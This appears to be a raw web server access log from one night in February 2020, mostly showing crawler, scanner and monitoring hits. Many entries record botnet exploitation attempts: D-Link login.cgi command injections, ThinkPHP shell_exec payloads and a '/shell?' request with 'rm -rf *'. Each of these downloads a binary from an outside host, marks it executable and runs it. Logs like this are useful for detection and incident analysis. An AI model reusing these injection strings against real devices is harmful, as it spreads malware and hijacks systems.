95.233.53.130 - - [29/Feb/2020:02:52:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
221.120.37.189 - - [29/Feb/2020:02:53:03 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
213.169.154.175 - - [29/Feb/2020:03:00:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
222.144.154.79 - - [29/Feb/2020:03:00:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
14.198.26.236 - - [29/Feb/2020:03:02:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://165.227.86.89/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [29/Feb/2020:03:03:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [29/Feb/2020:03:03:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [29/Feb/2020:03:03:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [29/Feb/2020:03:03:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [29/Feb/2020:03:04:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [29/Feb/2020:03:04:51 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.104.71.20 - - [29/Feb/2020:03:06:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
41.188.43.194 - - [29/Feb/2020:03:09:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
175.136.121.33 - - [29/Feb/2020:03:12:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
148.71.44.68 - - [29/Feb/2020:03:17:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.247.8.58 - - [29/Feb/2020:03:23:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.97.107.6 - - [29/Feb/2020:03:26:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
199.58.86.211 - - [29/Feb/2020:03:32:29 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
199.58.86.211 - - [29/Feb/2020:03:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
124.13.33.3 - - [29/Feb/2020:03:33:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
79.187.92.5 - - [29/Feb/2020:03:37:20 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
103.135.38.82 - - [29/Feb/2020:03:38:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
62.86.203.177 - - [29/Feb/2020:03:39:04 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 336 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
125.161.112.53 - - [29/Feb/2020:03:39:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
197.248.155.2 - - [29/Feb/2020:03:40:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
93.147.241.181 - - [29/Feb/2020:03:41:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
201.217.12.33 - - [29/Feb/2020:03:41:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
177.189.115.230 - - [29/Feb/2020:03:41:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
177.189.115.230 - - [29/Feb/2020:03:41:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
159.192.123.196 - - [29/Feb/2020:03:43:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
191.6.21.30 - - [29/Feb/2020:03:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.69.18.197 - - [29/Feb/2020:03:47:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.218.0.195 - - [29/Feb/2020:03:48:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [29/Feb/2020:03:48:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [29/Feb/2020:03:48:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [29/Feb/2020:03:48:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [29/Feb/2020:03:49:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
78.186.137.112 - - [29/Feb/2020:03:53:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
167.99.190.0 - - [29/Feb/2020:03:59:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
167.99.190.0 - - [29/Feb/2020:03:59:47 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
185.128.41.50 - - [29/Feb/2020:04:01:50 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Java/1.8.0_131"
85.113.48.32 - - [29/Feb/2020:04:02:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
165.16.37.150 - - [29/Feb/2020:04:14:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
49.205.135.123 - - [29/Feb/2020:04:19:36 +0100] "GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7 HTTP/1.0" 404 306 "-" "botnet/2.0"
109.254.170.19 - - [29/Feb/2020:04:22:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
192.241.198.223 - - [29/Feb/2020:04:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.198.223 - - [29/Feb/2020:04:24:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.198.223 - - [29/Feb/2020:04:25:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.198.223 - - [29/Feb/2020:04:25:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.198.223 - - [29/Feb/2020:04:25:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.198.223 - - [29/Feb/2020:04:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.198.223 - - [29/Feb/2020:04:27:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.198.223 - - [29/Feb/2020:04:27:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.198.223 - - [29/Feb/2020:04:28:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.198.223 - - [29/Feb/2020:04:29:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.62.23.97 - - [29/Feb/2020:04:33:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
85.105.170.120 - - [29/Feb/2020:04:34:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
209.17.96.170 - - [29/Feb/2020:04:36:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)"
27.216.245.215 - - [29/Feb/2020:04:40:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
121.226.83.156 - - [29/Feb/2020:04:40:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
88.207.151.121 - - [29/Feb/2020:04:41:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
78.46.176.21 - - [29/Feb/2020:04:45:26 +0100] "GET /robots.txt HTTP/1.1" 404 334 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
78.46.176.21 - - [29/Feb/2020:04:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
42.236.10.76 - - [29/Feb/2020:04:50:06 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal.de/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider"
36.72.218.124 - - [29/Feb/2020:04:50:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
198.108.66.240 - - [29/Feb/2020:04:50:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
121.129.128.99 - - [29/Feb/2020:04:52:28 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1" 400 329 "-" "Mozilla/5.0"
79.34.236.146 - - [29/Feb/2020:05:00:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [29/Feb/2020:05:09:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [29/Feb/2020:05:09:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [29/Feb/2020:05:09:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [29/Feb/2020:05:09:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [29/Feb/2020:05:09:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
23.254.36.12 - - [29/Feb/2020:05:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
23.254.36.12 - - [29/Feb/2020:05:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
141.101.229.27 - - [29/Feb/2020:05:32:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
103.47.81.106 - - [29/Feb/2020:05:33:27 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.47.81.106 - - [29/Feb/2020:05:33:28 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.47.81.106 - - [29/Feb/2020:05:33:29 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.47.81.106 - - [29/Feb/2020:05:33:30 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.47.81.106 - - [29/Feb/2020:05:33:30 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.47.81.106 - - [29/Feb/2020:05:33:35 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.47.81.106 - - [29/Feb/2020:05:33:36 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.47.81.106 - - [29/Feb/2020:05:33:37 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.47.81.106 - - [29/Feb/2020:05:33:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
45.5.36.71 - - [29/Feb/2020:05:39:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://45.148.10.194/mips%20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn;/tmp/leonn%20dlink.mips%27$ HTTP/1.1" 400 329 "-" "botnet/2.0"
222.223.188.241 - - [29/Feb/2020:05:40:20 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.223.188.241 - - [29/Feb/2020:05:40:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
88.247.82.8 - - [29/Feb/2020:05:46:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
187.154.127.174 - - [29/Feb/2020:05:50:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
93.119.71.27 - - [29/Feb/2020:05:51:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.103.121.62 - - [29/Feb/2020:05:52:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
95.251.221.149 - - [29/Feb/2020:06:03:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
88.248.172.226 - - [29/Feb/2020:06:06:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
108.12.155.2 - - [29/Feb/2020:06:06:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
211.218.0.195 - - [29/Feb/2020:06:11:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [29/Feb/2020:06:11:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [29/Feb/2020:06:11:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [29/Feb/2020:06:11:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [29/Feb/2020:06:11:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
103.76.243.228 - - [29/Feb/2020:06:12:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
198.108.66.240 - - [29/Feb/2020:06:15:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
80.181.143.210 - - [29/Feb/2020:06:19:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
66.151.211.170 - - [29/Feb/2020:06:20:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
187.207.243.56 - - [29/Feb/2020:06:25:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
188.168.75.121 - - [29/Feb/2020:06:26:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
85.105.170.120 - - [29/Feb/2020:06:30:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
175.148.21.149 - - [29/Feb/2020:06:31:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
201.184.89.93 - - [29/Feb/2020:06:34:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
201.184.89.93 - - [29/Feb/2020:06:34:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
121.180.208.154 - - [29/Feb/2020:06:36:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [29/Feb/2020:06:36:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [29/Feb/2020:06:36:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [29/Feb/2020:06:36:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [29/Feb/2020:06:37:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
223.149.3.229 - - [29/Feb/2020:06:39:32 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
201.244.155.6 - - [29/Feb/2020:06:41:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
197.159.90.84 - - [29/Feb/2020:06:41:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
79.132.22.121 - - [29/Feb/2020:06:42:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
66.151.211.170 - - [29/Feb/2020:06:44:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
14.146.78.103 - - [29/Feb/2020:06:49:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
75.109.176.200 - - [29/Feb/2020:06:50:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://64.227.7.86/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
189.50.3.190 - - [29/Feb/2020:06:57:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:07:00:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.55.241.155 - - [29/Feb/2020:07:01:28 +0100] "GET / HTTP/1.1" 200 1229 "http://www.friedrich-list-berlin.de" "Mozilla/5.0 (X11; Datanyze; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
45.55.241.155 - - [29/Feb/2020:07:01:39 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:29.0) Gecko/20100101 Firefox/29.0"
212.91.246.72 - - [29/Feb/2020:07:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:05:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:07:07:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
